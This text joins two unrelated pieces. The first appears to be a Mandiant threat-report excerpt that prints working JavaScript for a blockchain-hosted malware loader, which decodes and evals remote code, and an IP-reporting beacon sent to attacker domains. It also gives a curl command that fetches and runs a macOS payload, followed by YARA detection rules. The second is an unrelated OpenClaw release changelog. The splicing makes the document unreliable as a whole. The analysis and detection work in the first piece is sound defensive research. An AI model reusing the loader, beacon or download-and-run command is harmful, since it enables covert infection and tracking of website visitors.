Written by: Mark Magee, Jose Hernandez, Bavi Sadayappan, Jessa Valdez

// Load libraries from public CDNs to intereact with blockchain and decode payloads.
<script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js"></script>
<script>
    console.log('Start moving...');
    // The main malicious logic starts executing once the webpage's DOM is fully loaded.1st
    document.addEventListener('DOMContentLoaded', async () => {
        try {
            // Establishes a connection to the BNB Smart Chain via a public RPC node. 
            const web3 = new Web3('https://bsc-dataseed.binance.org/');
            // Creates an object to interact with the 1st-Level Smart Contract.
            const contract = new web3.eth.Contract([
                {
                    "inputs": [],
                    "stateMutability": "nonpayable",
                    "type": "constructor"
                },
                {
                    "inputs": [],
                    "name": "orchidABI", // Returns 2nd contract ABI
                    "outputs": [{
                        "internalType": "string",
                        "name": "",
                        "type": "string"
                    }],
                    "stateMutability": "view",
                    "type": "function"
                },
                {
                    "inputs": [],
                    "name": "orchidAddress",// Returns 2nd contract address
                    "outputs": [{
                        "internalType": "string",
                        "name": "",
                        "type": "string"
                    }],
                    "stateMutability": "view",
                    "type": "function"
                },
            
            ], '0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53'); // Hardcoded address of the 1st-Level Contract.
	//  ABI is Base64 decoded and then decompressed to get clean ABI.
            const orchidABI = JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c => c.charCodeAt(0)), {
                to: 'string'
            }));
            // Calls the 'orchidAddress' function to get the address of the 2nd-Level Contract.
            const orchidAddress = await contract.methods.orchidAddress().call();
	     // New contract object created to represent 2nd-level contract.
            const orchid = new web3.eth.Contract(orchidABI, orchidAddress);
            const decompressedScript = pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c => c.charCodeAt(0)), {
                to: 'string'
            });
            eval(`(async () => { ${decompressedScript} })().then(() => { console.log('Moved.'); }).catch(console.error);`);
        } catch (error) {
            console.error('Road unavaible:', error);
        }
    });
</script>

//Example of code retrieved from the second-level smart contract (IP check and STUN)
if (await new Promise(r => {
        let a = new RTCPeerConnection({ iceServers: [{ urls: "stun:stun.l.google.com:19302" }] });
        a.createDataChannel("");
        a.onicecandidate = e => {
            let ip = e?.candidate?.candidate?.match(/\d+\.\d+\.\d+\.\d+/)?.[0];
            if (ip) {
                fetch('https://saaadnesss[.]shop/check', { // Or lapkimeow[.]icu/check
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ ip, domain: location.hostname })
                }).then(r => r.json()).then(data => r(data.status));
                a.onicecandidate = null;
            }
        };
        a.createOffer().then(o => a.setLocalDescription(o));
    }) === "Decline") {
        console.warn("Execution stopped: Declined by server");
    } else {
        await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
        await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
        await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
        await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    }

// Simplified example of the decryption logic
async function decryptScrollToText(encryptedBase64, keyBase64) {
    const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
    const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
    const iv = combinedData.slice(0, 12); // IV is the first 12 bytes
    const encryptedData = combinedData.slice(12);
    const cryptoKey = await crypto.subtle.importKey(
        "raw", key, "AES-GCM", false, ["decrypt"]
    );
    const decryptedArrayBuffer = await crypto.subtle.decrypt(
        { name: "AES-GCM", iv },
        cryptoKey,
        encryptedData
    );
    return new TextDecoder().decode(decryptedArrayBuffer);
}

// ... (Code to fetch encrypted HTML and key from the third-level contract) ...

if (cherryBlossomHTML) { // cherryBlossomHTML contains the encrypted landing page
     try {
        let sakuraKey = await JadeContract.methods.pearlTower().call(); // Get the AES key
        const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);
        // ... (Display the decrypted HTML in an iframe) ...
    } catch (error) {
        return;
    }
}

curl -o /tmp/update https://browser-storage[.]com/update
xattr -c /tmp/update
chmod +x /tmp/update
/tmp/update

rule M_Downloader_CLEARSHORT_1 {
    meta:
        author = "Mandiant"
    strings:
        $payload_b641 = "ipconfig /flushdns" base64
        $payload_b642 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" base64
        $payload_b643 = "[System.Diagnostics.Process]::Start(" base64
        $payload_b644 = "-ep RemoteSigned -w 1 -enc" base64

        $payload_o1 = "ipconfig /flushdns" nocase ascii wide
        $payload_o2 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" nocase ascii wide
        $payload_o3 = "[System.Diagnostics.Process]::Start(" nocase ascii wide
        $payload_o4 = "-ep RemoteSigned -w 1 -enc" nocase ascii wide


        $htm_o1 = "title: \"Google Chrome\","
        $htm_o2 = "PowerShell"
        $htm_o3 = "navigator.clipboard.writeText"
        $htm_o4 = "document.body.removeChild"
        $htm_o5 = "downloadButton.classList.add('downloadButton');"
        $htm_o6 = "getUserLanguage().substring(0, 2);"
        $htm_o7 = "translateContent(userLang);" 
        
        $htm_b64_1 = "title: \"Google Chrome\"," base64  
        $htm_b64_2 = "PowerShell" base64 
        $htm_b64_3 = "navigator.clipboard.writeText" base64  
        $htm_b64_4 = "document.body.removeChild" base64  
        $htm_b64_5 = "downloadButton.classList.add('downloadButton');" base64  
        $htm_b64_6 = "getUserLanguage().substring(0, 2);" base64  
        $htm_b64_7 = "translateContent(userLang);" base64  
    condition:
        filesize<1MB and (4 of ($payload_b*) or 4 of ($payload_o*) or 4 of ($htm_b*) or  4 of ($htm_o*))
}

rule M_Downloader_CLEARSHORT_2 {
    meta:
          author = "Mandiant"
    strings:
        $htm1 = "const base64HtmlContent"
        $htm2 = "return decodeURIComponent(escape(atob(str)));"
        $htm3 = "document.body.style.overflow = 'hidden';"
        $htm4 = "document.body.append(popupContainer);"
        $htm5 = "Object.assign(el.style, styles);"
        
        
        $htm_b64_1 = "const base64HtmlContent" base64
        $htm_b64_2 = "return decodeURIComponent(escape(atob(str)));" base64
        $htm_b64_3 = "document.body.style.overflow = 'hidden';" base64
        $htm_b64_4 = "document.body.append(popupContainer);" base64
        $htm_b64_5 = "Object.assign(el.style, styles);" base64

    condition:
        filesize<1MB and 5 of ($htm*)
}

rule M_Downloader_CLEARSHORT_3
{
    meta:
        author = "Mandiant"
    strings:
          
        $smart_contract1 = "9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53" nocase
        $smart_contract2 = "8FBA1667BEF5EdA433928b220886A830488549BD" nocase
        $smart_contract3 = "53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA" nocase
        $smart_contract2_hex = /38(46|66)(42|62)(41|61)31363637(42|62)(45|65)(46|66)35(45|65)(64|44)(41|61)343333393238(42|62)323230383836(41|61)383330343838353439(42|62)(44|64)/
        $smart_contract1_hex = /39313739(64|44)(64|44)(61|41)38(42|62)323835303430(42|62)(66|46)333831(41|61)(41|61)(42|62)(62|42)38(61|41)31(66|46)34(61|41)31(62|42)38(63|43)3337(45|65)(64|44)3533/
        $smart_contract3_hex = /3533(66|46)(64|44)3534(66|46)3535(43|63)3933(66|46)39(42|62)(43|63)(43|63)(41|61)343731(63|43)(44|64)30(43|63)(63|43)(62|42)(61|41)(42|62)(43|63)33(41|61)(63|43)(62|42)(64|44)33(45|65)34(41|61)(41|61)/

        $enc_marker1 = "4834734941444748553263432f34315662572f624"
        $enc_marker2 = "4834734941465775513263432f2b3257775772"

        $c2_marker_capcha = "743617074636861"
        $c2_marker_https = "68747470733a2f2f72"
        $c2_marker_json = "\"jsonrpc\":\"2.0\",\"id\":\""

        $str1 = /Windows\s*\+\s*R/ nocase
        $str2 = /CTRL\s*\+\s*V/ nocase
        $str3 = "navigator.clipboard.writeText" nocase
        $str4 = "captcha" nocase
        $str5 = ".innerHTML" nocase
    
        $payload1 = ".shop" base64
        $payload2 = "[scriptblock]::Create(" nocase
        $payload3 = "HTA:APPLICATION" nocase
    condition:
		filesize < 15MB and (any of ($smart_contract*) or any of ($enc_marker*) or all of ($c2_marker*) or all of ($str*) or all of ($payload*))



}

Highlights

• External plugin installation, update, doctor repair, dependency reporting, and artifact metadata now cover the npm-first cutover, stale configured installs, missing package payloads, and beta-channel plugin fallback. Thanks @vincentkoc.
• Gateway and agent hot paths are leaner across startup, session listing, task maintenance, prompt prep, plugin loading, tool descriptor planning, filesystem guards, and large runtime configs.
• Control UI and WebChat are more resilient across Sessions, Cron, long-running Gateway WebSockets, grouped-message width, slash-command feedback, iOS PWA bounds, selection contrast, and Talk diagnostics.
• Messaging fixes cover WhatsApp Channel/Newsletter targets, Telegram topic commands and networking, Discord delivery/startup edge cases, Slack threads, Signal groups/media, and visible reply routing.
• Provider and media fixes cover OpenAI-compatible TTS/Realtime, OpenRouter/DeepSeek replay, Anthropic-compatible streaming, LM Studio reasoning metadata, Brave/SearXNG/Firecrawl web search, media paths, music, and voice-call routing.

Changes

• Gateway/startup and restart: skip plugin-backed auth-profile overlays during startup secrets preflight, reducing gateway readiness latency while keeping reload and OAuth recovery paths overlay-capable; add openclaw gateway restart --force and --wait <duration>, log active task run IDs before restart deferral timers, and report timeout restarts as explicit forced restarts. (#68327) Thanks @JIRBOY.
• Plugins/ClawHub: make diagnostics, onboarding, doctor repair, and channel setup carry ClawPack metadata through install records while keeping explicit clawhub: installs on ClawHub and bare package installs on npm for the launch cutover. Thanks @vincentkoc.
• Plugins/CLI: include package dependency install state in openclaw plugins list --json so scripts can spot missing plugin dependencies without runtime-loading plugins.
• Plugins/update: on the beta OpenClaw update channel, default-line npm and ClawHub plugin updates try @beta first and fall back to default/latest when no plugin beta release exists.
• Plugins/runtime: scope broad runtime preloads to the effective plugin ids derived from config, startup planning, configured channels, slots, and auto-enable rules instead of importing every discoverable plugin.
• Agents/runtime: reuse the startup-loaded plugin registry for request-time providers, tools, channel actions, web/capability/memory/migration helpers, and memoized provider extra-params, and memoize transcript replay-policy resolution for stable config and process-env runs while preserving model-specific transport hook patches and custom-env provider behavior. Thanks @DmitryPogodaev.
• Infra/path-guards: add a fast path for canonical absolute POSIX containment checks, avoiding repeated path.resolve and path.relative work in hot filesystem walkers. Refs #75895, #75575, and #68782. Thanks @Enderfga.
• Tools/plugins: add a platform-level tool descriptor planner for descriptor-first visibility, generic availability checks, and executor references, and cache plugin tool descriptors captured from api.registerTool(...) so repeated prompt-time planning can skip plugin runtime loading while execution still loads the live plugin tool. (#76079) Thanks @shakkernerd.
• Docs/Codex: clarify that ChatGPT/Codex subscription setups should use openai/gpt-* with agentRuntime.id: "codex" for native Codex runtime, while openai-codex/* remains the PI OAuth route. Thanks @pashpashpash.
• Plugins/source checkout: load bundled plugins from the extensions/* pnpm workspace tree in source checkouts, so plugin-local dependencies and edits are used directly while packaged installs keep using the built runtime tree. Thanks @vincentkoc.
• Plugins/beta: externalize ACPX behind @openclaw/acpx and diagnostics OpenTelemetry behind @openclaw/diagnostics-otel, keeping their heavier runtime stacks out of the core package until installed; prepare Google Chat, LINE, Matrix, Mattermost, BlueBubbles, diagnostics Prometheus, Google Meet, Nextcloud Talk, Nostr, Zalo, Zalo Personal, diagnostics OpenTelemetry, Discord, Diffs, Lobster, Memory LanceDB, Microsoft Teams, QQ Bot, Voice Call, WhatsApp, Brave, Codex, Feishu, Synology Chat, Tlon, and Twitch for 2026.5.1-beta.1/2026.5.1-beta.2 npm and ClawHub publishing, and keep publishable plugin dist trees out of the core npm package. Thanks @vincentkoc.
• Providers/xAI: add Grok 4.3 to the bundled catalog and make it the default xAI chat model.
• Google Meet: let API-created rooms set accessType and entryPointAccess, add googlemeet end-active-conference for closing managed spaces after a call, and add googlemeet test-listen plus the matching google_meet test_listen action so transcribe-mode joins wait for real caption or transcript movement before reporting listen-first health. (#74824; refs #72478) Thanks @BsnizND and @DougButdorf.
• Plugins/ClawHub/onboarding: prefer versioned ClawPack artifacts when ClawHub publishes digest metadata, verify ClawPack response headers and downloaded bytes, persist ClawPack digest/artifact metadata on install/update records and install-on-demand provider setup entries, and allow official bundled-plugin cutovers to record ClawHub artifact metadata while preserving npm as the launch default for bare package specs and retaining npm/local fallback paths. Thanks @vincentkoc.
• Plugins/Crestodian: add ClawHub plugin search plus Crestodian plugin list/search/install/uninstall operations, with approval and audit coverage for install and uninstall.
• Channels/thread bindings: replace split subagent/ACP thread-spawn toggles with threadBindings.spawnSessions, default thread-bound spawns on, and let openclaw doctor --fix migrate the legacy keys. (#75943)
• Providers/OpenAI: add extraBody/extra_body passthrough for OpenAI-compatible TTS endpoints, so custom speech servers can receive fields such as lang in /audio/speech requests. Fixes #39900. Thanks @R3NK0R.
• Channels/WhatsApp: support explicit WhatsApp Channel/Newsletter @newsletter outbound message targets with channel session metadata instead of DM routing. Fixes #13417; carries forward the narrow outbound target idea from #13424. Thanks @vincentkoc and @agentz-manfred.
• Dependencies: refresh workspace, bundled runtime, and plugin dependency pins, including TypeBox 1.1.37, AWS SDK 3.1041.0, Microsoft Teams 2.0.9, Marked 18.0.3, Pi 0.71.1, OpenAI 6.35.0, Codex 0.128.0, Zod 4.4.1, and Matrix 41.4.0. Thanks @mariozechner, @aws, and @microsoft.
• Discord/channels: add reusable message-channel access groups plus Discord channel-audience DM authorization, so allowlists can reference accessGroup:<name> across channel auth paths. (#75813)
• Crabbox/scripts: print the selected Crabbox binary, version, and supported providers before pnpm crabbox:* commands, and reject stale binaries that lack blacksmith-testbox provider support.
• Agents/Codex: add committed happy-path prompt snapshots for Codex/message-tool Telegram direct, Discord group, and heartbeat turns so prompt drift can be reviewed. Thanks @pashpashpash.
• Agents/workspace: add agents.defaults.skipOptionalBootstrapFiles for skipping selected optional workspace files during bootstrap without disabling required workspace setup. (#62110) Thanks @mainstay22.
• Plugins/CLI: add first-class git: plugin installs with ref checkout, commit metadata, normal scanner/staging, and plugins update support for recorded git sources. Thanks @badlogic.
• Google Meet: add live caption health for Chrome transcribe mode, including caption observer state, transcript counters, last caption text, and recent transcript lines in status and doctor output. Refs #72478. Thanks @DougButdorf.
• Voice Call/Google Meet: add Twilio Meet join phase logs around pre-connect DTMF, realtime stream setup, and initial greeting handoff for easier live-call debugging. Thanks @donkeykong91 and @PfanP.
• macOS app: move recent session context rows into a Context submenu while keeping usage and cost details root-level, so the menu bar companion stays compact with many active sessions. Thanks @Guti.
• Gateway/SDK: add SDK-facing tools.invoke RPC with shared HTTP policy, typed approval/refusal results, and SDK helper support. Refs #74705. Thanks @BunsDev and @ai-hpc.
• Discord: keep active buttons, selects, and forms working across Gateway restarts until they expire, so multi-step Discord interactions are less likely to break during upgrades or restarts. Thanks @amknight.
• Messages/docs: clarify that BodyForAgent is the primary inbound model text while Body is the legacy envelope fallback, and add Signal coverage so channel hardening patches target the real prompt path. Refs #66198. Thanks @defonota3box.
• Slack: publish a safe default App Home tab view on app_home_opened, include the Home tab event in setup manifests, and keep track of bot-participated threads across restarts so ongoing threaded conversations can continue auto-replying after the Gateway restarts. Fixes #11655; refs #52020. Thanks @TinyTb and @amknight.
• Control UI/Usage: add UTC quarter-hour token buckets for the Usage Mosaic and reuse them for hour filtering, keeping the legacy session-span fallback for older summaries. (#74337) Thanks @konanok.
• BlueBubbles: add opt-in channels.bluebubbles.replyContextApiFallback that fetches the original message from the BlueBubbles HTTP API when the in-memory reply-context cache misses (multi-instance deployments sharing one BB account, post-restart, after long-lived TTL/LRU eviction). Off by default; channel-level setting propagates to accounts that omit the flag through mergeAccountConfig; routed through the typed BlueBubblesClient so every fetch is SSRF-guarded by the same three-mode policy as every other BB client request; reply-id shape is validated and part-index prefixes (p:0/<guid>) are stripped before the request; concurrent webhooks for the same replyToId coalesce into one fetch and successful responses populate the reply cache for subsequent hits. Also promotes BlueBubbles attachment download failures from verbose to runtime error so silently-dropped inbound images are visible at default log level, and extends sanitizeForLog to redact ?password=…/?token=… query params and Authorization: headers before they reach the log sink (CWE-532). (#71820) Thanks @coletebou and @zqchris.
• CLI/proxy: add openclaw proxy validate so operators can verify effective proxy configuration, proxy reachability, and expected allow/deny destination behavior before deploying proxy-routed OpenClaw commands. (#73438) Thanks @jesse-merhi.
• Agents/Codex: default Codex app-server dynamic tools to native-first, keeping OpenClaw integration tools while leaving file, patch, exec, and process ownership to the Codex harness; default Codex-harness direct source replies to the OpenClaw message tool when visible reply delivery is not explicitly configured, keeping channel-visible output as a deliberate tool call. (#75308, #75765) Thanks @pashpashpash.
• Heartbeats/agents: add a structured heartbeat_respond tool for tool-capable heartbeat runs so agents can record quiet outcomes or explicit notification text without relying only on HEARTBEAT_OK parsing. (#75765) Thanks @pashpashpash.
• Gateway/config: allow $include directives to read files from operator-approved OPENCLAW_INCLUDE_ROOTS directories while preserving default config-directory confinement. Thanks @ificator.

Fixes

• Agents/OpenAI: default GPT-5 API-key sessions to the SSE Responses transport unless WebSocket is explicitly selected, restoring replies in fresh Control UI and WebChat beta installs where the auto WebSocket path connected but produced no model events.
• Agents/sessions: preserve terminal lifecycle state when final run metadata persists from a stale in-memory snapshot, preventing sessions from staying stuck as running after completed or timed-out turns.
• Gateway/CLI/status: make openclaw gateway start repair stale managed service definitions that point at old OpenClaw versions, missing binaries, or temporary installer paths before starting; add concrete service, config, listener-owner, and log collection next steps when gateway probes fail and Bonjour finds no local gateway; avoid repeated plugin tool descriptor config hashing so large runtime configs do not block reply startup and trigger reconnect/timeouts. Refs #49012. (#75944) Thanks @vincentkoc and @joshavant.
• Plugins/update/config: stop treating the non-plugin auth command root as a bundled plugin id, keep packaged upgrades and beta external plugin installs on stable runtime aliases and matching prerelease npm specs, detect tracked plugin install records whose package directories disappeared during openclaw update, reinstall them before normal plugin updates, fail the update if install records still point at missing disk payloads, and validate configured web-search providers plus statically suppressed model/provider pairs against the active plugin set at config load. Thanks @vincentkoc.
• Codex/app-server: resolve managed binaries from bundled dist chunks and from the @openai/codex package bin when installs do not provide a nearby .bin/codex shim, avoiding false missing-binary startup failures.
• Status: show the openai-codex OAuth profile for openai/gpt-* sessions running through the native Codex runtime instead of reporting auth as unknown. (#76197) Thanks @mbelinky.
• Status/update: resolve beta update-channel checks from the installed version when config still says stable, show configured channels in openclaw status and config-only openclaw channels status output even when the Gateway is unreachable, and let status --deep reuse live gateway channel credential state instead of warning on command-path-only token misses. Thanks @vincentkoc.
• Plugins/externalization: add official npm-first catalogs for externalized channel, provider, and generic plugins; install official external web-search plugins before saving provider config; repair missing configured, selected-search, and env-selected plugin installs from npm by default; keep official install docs, update examples, live Codex checks, diagnostics ClawHub packages, and persisted bundled-plugin relocation on default npm tags; and keep ACPX, Google Chat, and LINE publishable plugin dist trees out of the core package while ClawHub pack files roll out. Thanks @vincentkoc.
• Plugins/ClawHub/source/registry: use the ClawHub artifact resolver response as the install decision before downloading, keep bare plugin package specs on npm for the launch cutover and reserve ClawHub resolution for explicit clawhub: specs until ClawHub pack readiness is deployed, discover source-only plugins such as Codex from extensions/*, install ClawPack artifacts from the explicit npm-pack .tgz resolver path, persist artifact kind, npm integrity, shasum, and tarball metadata for update/diagnostics flows, fall back to version metadata when the artifact resolver route is missing, keep the Docker ClawHub fixture aligned with npm-pack artifact resolution, explain unavailable explicit ClawHub ClawPack artifact downloads with a temporary npm install hint, and hash manifest/package metadata when validating persisted plugin registries so fast same-size rewrites cannot leave stale plugin metadata trusted. Thanks @vincentkoc.
• Control UI: add validated gateway.controlUi.chatMessageMaxWidth instead of patched bundled CSS, ignore malformed persisted cron rows before they enter UI state, guard stale cron render paths, and bound the default Sessions tab query to recent activity and fewer rows while keeping filters editable. Fixes #67935, #55047, #54439, and #76050; supersedes #54550 and #54552. (#76051) Thanks @xiew4589-lang and @Neomail2.
• Gateway/channels: cap startup fanout at four channel/account handoffs and recover from Bonjour ciao self-probe races, reducing Windows startup stalls with many Telegram accounts. Fixes #75687.
• Gateway/sessions: keep sessions.list polling responsive on large session stores by reusing list-safe session cache/indexes and returning a lightweight compaction checkpoint preview instead of heavyweight summaries. Thanks @rolandrscheel.
• Control UI/Gateway: keep long-running dashboard WebSocket sessions alive with protocol pings, keep Stop available after reconnect or reload by recovering session-scoped active-run abort state, contain standalone iOS PWA viewports with safe-area-aware document locking, use high-contrast text selection colors, and show inline feedback when local slash-command dispatch is unavailable or fails unexpectedly. Fixes #70991, #60850, and #52105; supersedes #60854. Thanks @alexandre-leng, @kvncrw, @Badschaff, @efe-arv, and @MooreQiao.
• CLI/update: treat inherited Gateway service markers as origin hints and only block package replacement when the managed Gateway is still live, so self-updates can stop the service and continue safely. (#75729) Thanks @hxy91819.
• Agents/failover: exempt run-level timeouts that fire during tool execution from model fallback, timeout-triggered compaction, and generic timeout payload synthesis, avoiding misleading "LLM request timed out" errors after the primary model has already responded. Fixes #52147. (#75873) Thanks @simonusa.
• Docker: copy Bun 1.3.13 from a digest-pinned image and keep CI on the same version. Fixes #74356. Thanks @fede-kamel and @sallyom.
• Agents/compaction: keep prior context on consecutive turns against z.ai-style providers (z.ai direct, openrouter z-ai/*, in-house GLM gateways), avoiding accidental Pi state reset after successful turns. (#76056) Thanks @openperf.
• Doctor/plugins: run a one-time 2026.5.2 configured-plugin install repair based on meta.lastTouchedVersion, update stale configured plugin manifests that still declare channels without channelConfigs, install actively used downloadable OpenClaw plugins through the configured external source, preserve unmanaged third-party plugin node_modules, and then mark the config touched for the release.
• Sessions/transcripts: use one session.writeLock.acquireTimeoutMs policy for session transcript lock acquisitions and raise the default wait to 60 seconds, avoiding user-visible lock timeouts during legitimate slow prep, cleanup, compaction, and mirror work. Fixes #75894. Thanks @shandutta.
• Agents/restart recovery: match cleaned transcript locks by exact transcript lock paths plus the canonical session fallback, so interrupted main sessions using topic-suffixed transcripts resume after gateway restart. Refs #76052. Thanks @anyech.
• Agents/runtime: cache the stable system-prompt prefix and reuse prompt-report tool schema stats during dispatch prep, reducing repeated CPU work before streaming starts. Fixes #75999; supersedes #76061. Thanks @zackchiutw and @STLI69.
• Telegram/native commands: pass persisted session files into plugin commands for topic-bound sessions, so /codex bind works from Telegram forum topics. Refs #75845 and #76049. Thanks @MatthewSchleder.
• Security audit/plugins: ignore plugin install backup, disabled, and dependency debris directories when enumerating installed plugin roots, avoiding false-positive findings for .openclaw-install-backups after plugin updates. Fixes #75456.
• Telegram: honor runtime conversation bindings for native slash commands in bound top-level groups, so commands like /status@bot route to the active non-main session instead of falling back to the default route. Fixes #75405; supersedes #75558. Thanks @ziptbm and @yfge.
• Gateway/tasks: make task registry maintenance use pass-local backing-session lookups and fresh active child-session indexes, avoiding repeated full task snapshots and session-store clones on large stale registries. Fixes #73517 and #75708; supersedes #74406 and #75709. Thanks @Lightningxxl, @glfruit, and @jared-rebel.
• Auth/sessions: JSON-clone auth-profile cache/runtime snapshots and remaining session cleanup previews instead of using structuredClone, preserving mutation isolation while avoiding native-memory growth on large stores. Fixes #45438. Thanks @markus-lassfolk.
• Models CLI: restore openclaw models list --provider <id> catalog and registry fallback rows for unconfigured providers, so provider-specific verification commands no longer report "No models found." Fixes #75517; supersedes #75615. Thanks @lotsoftick and @koshaji.
• Gateway/macOS: write LaunchAgent services with a canonical system PATH and stop preserving old plist PATH entries, so Volta, asdf, fnm, and pnpm shell paths no longer affect gateway child-process Node resolution. Fixes #75233; supersedes #75246. Thanks @nphyde2.
• Slack/hooks: preserve bot alert attachment text in message-received hook content when command text is blank. Fixes #76035; refs #76036. Thanks @amsminn.
• Sessions/agents: route Gateway session-store writes, CLI cleanup maintenance, and agent-delete session purges through a dedicated in-process writer and borrow the validated mutable cache during the writer slot, avoiding runtime file locks plus repeated sessions.json rereads and JSON clones on hot metadata updates. Refs #68554. Thanks @henkterharmsel.
• Memory/markdown: replace CRLF managed blocks in place and collapse duplicate marker blocks without rewriting unmanaged markdown, so Dreaming and Memory Wiki files self-heal from repeated generated sections. Fixes #75491; supersedes #75495, #75810, and #76008. Thanks @asaenokkostya-coder, @ottodeng, @everettjf, and @lrg913427-dot.
• Agents/tools: return critical tool-loop circuit-breaker stops as blocked tool results instead of thrown tool failures, so models see the guardrail and stop retrying the same call. Thanks @rayraiser.
• Agents/sessions: preserve pre-existing runtime model and context window after heartbeat turns so a per-run heartbeat model override does not bleed into shared-session status. Fixes #75452. Thanks @zhangguiping-xydt.
• Model commands: clarify direct and inline /model acknowledgements for non-default selections as session-scoped. Thanks @addu2612.
• Doctor/gateway: stop warning that non-existent, unconfigured user-bin directories are required in the Gateway service PATH. Fixes #76017. Thanks @xiphis.
• TUI/setup: skip full provider model normalization during context-window warmup and bound Terminal hatch bootstrap provider requests, avoiding cold-start stalls with large model registries and first-run hatching stuck behind the watchdog. (#76241) Thanks @547895019 and @joshavant.
• Agents: enable malformed tool-call argument repair for Codex and Azure OpenAI Responses transports while keeping generic OpenAI Responses paths out of the repair gate. Fixes #75154. Thanks @Nimraakram22.
• Memory Wiki: accept relative Markdown links that include the .md suffix during broken-wikilink validation, avoiding false positives for native render-mode links. Thanks @Kenneth8128.
• OpenAI Codex: show the device-pairing code in the interactive SSH/headless prompt while keeping the short-lived code out of persistent runtime logs. Fixes #74212. Thanks @da22le123.
• QA Lab: stop gateway children when the suite parent disappears, so interrupted local QA runs cannot leave hot orphaned gateways behind.
• Codex/app-server/plugins: tolerate second connection closes during startup recovery, include retry counts plus stringified restart errors, and allow the official npm Codex plugin to install without the unsafe-install override while keeping /codex command ownership and covering the real npm Docker live path through managed .openclaw/npm dependencies plus uninstall failure proof.
• Plugins/CLI: cache plugin CLI registration entries per command program so completion state generation does not repeat the full plugin sweep in one invocation. Thanks @ScientificProgrammer.
• Plugins: reuse gateway-bindable plugin loader cache entries for later default-mode loads without serving default-built registries to gateway-bound requests, reducing repeated plugin registration during dispatch. Refs #61756. Thanks @DmitryPogodaev.
• Gateway/secrets: include the caught error message in secrets.reload and secrets.resolve warning logs while keeping RPC errors generic, so operators can diagnose reload and permission failures. Thanks @davidangularme.
• Providers/OpenRouter/LM Studio/Anthropic: fill DeepSeek V4 reasoning_content replay placeholders for openrouter/deepseek/deepseek-v4-flash and openrouter/deepseek/deepseek-v4-pro, normalize binary LM Studio reasoning metadata from Gemma 4 and other local models, and recover Anthropic-compatible stream text deltas that arrive before their matching content block. Fixes #76018 and #76007. Thanks @cloph-dsp and @vliuyt.
• fix(infra): block workspace state-directory env override [AI]. (#75940) Thanks @pgondhi987.
• MCP/OpenAI and media: normalize parameter-free MCP tool schemas before OpenAI tool submission, honor explicit short [[tts:text]]...[[/tts:text]] blocks while keeping untagged short auto-TTS suppressed, and accept home-relative MEDIA:~/... attachment paths under the existing file-read policy. Fixes #75362, #73758, and #73796. Thanks @tolkonepiu, @SymbolStar, @yfge, and @fabkury.
• Hooks/doctor: warn when hooks.transformsDir points outside the canonical hooks transform directory, so invalid workspace skill paths get a direct recovery hint before the Gateway crash-loops. Fixes #75853. Thanks @midobk.
• Proxy/audio: convert standard FormData bodies before proxy-backed undici fetches, so audio transcription and multipart uploads no longer send [object FormData] when HTTP_PROXY or HTTPS_PROXY is configured. Fixes #48554. Thanks @dco5.
• Discord/setup/startup/native commands: write resolved guild/channel allowlist selections to the selected guild and channel, persist slash-command deploy hashes across process restarts, treat abort-time Carbon reconnect-exhausted events as expected shutdown during stale-socket restarts, allow explicit ack reactions in tool-only guild channels, and warn when slash dispatch or direct plugin execution produces no visible reply. Fixes #74922 and #58986; carries forward #58216; supersedes #47788, #73949, and #62057. Thanks @samvilian, @BlueBirdBack, @Eldersonar, @Perttulands, and @jb510.
• Discord/delivery/media: use session-backed A2A announce target lookup for multi-account sessions_send, keep typing indicators alive during long tool runs and auto-compaction, preserve multipart Content-Type headers for uploads, preserve attachment and sticker filenames, and keep non-ASCII channel names in session labels while preserving ASCII-slug allowlists. Fixes #42652 and #59744; refs #51626 and #44773; supersedes #73975. Thanks @irchelper, @dpalfox, @Lanfei, @Squirbie, @FunJim, @xela92, @rockcent, and @swjeong9.
• Discord/threads/PluralKit: canonicalize proxied webhook turns to the original message id for dedupe, inject thread starter context only on the first effective thread turn, and resolve thread ownerId/parentId from Discord API-style snake_case payload fields so bot-owned autoThreads do not require unnecessary mentions. Fixes #41355; supersedes #44447 and #44449. Thanks @acgh213, @p3nchan, and @mgh3326.
• Gateway/diagnostics: include a bounded redacted startup error message in stability bundles, so crash-loop reports identify the failing plugin or contract without exposing secrets. Refs #75797. Thanks @ymebosma.
• Gateway/pricing: defer optional model pricing catalog refresh until after sidecars and channels reach the ready path, so slow OpenRouter or LiteLLM pricing fetches cannot block Gateway readiness. Fixes #74128; supersedes #73486. Thanks @ctbritt and @alprclbi.
• Gateway/pricing: abort in-flight model pricing catalog fetches when Gateway shutdown stops the refresh loop, and avoid post-stop cache writes or refresh timers. Fixes #72208. Thanks @rzcq.
• Codex/app-server: make startup retry cleanup ownership-aware so concurrent Codex lanes cannot close another lane's freshly restarted shared app-server client. Thanks @vincentkoc.
• Google Meet/Twilio/Voice Call: report missing dial-in details during setup, explain that Twilio needs a phone dial plan for Meet URLs, start the phone leg before Meet PIN DTMF, delay intro speech until after post-connect dialing, log each stage, and accept provider call IDs for gateway speak/continue while reporting ended-call state from history.
• Control UI/Talk: allow the OpenAI Realtime WebRTC offer endpoint through the Control UI CSP, configure browser sessions with explicit VAD/transcription input settings, and surface OpenAI realtime error/lifecycle events instead of leaving Talk stuck as live with no diagnostic. Fixes #73427.
• Plugins: clarify config-selected duplicate plugin override diagnostics and document manifest schema updates for bundled-plugin forks. Fixes #8582. Thanks @sachah.
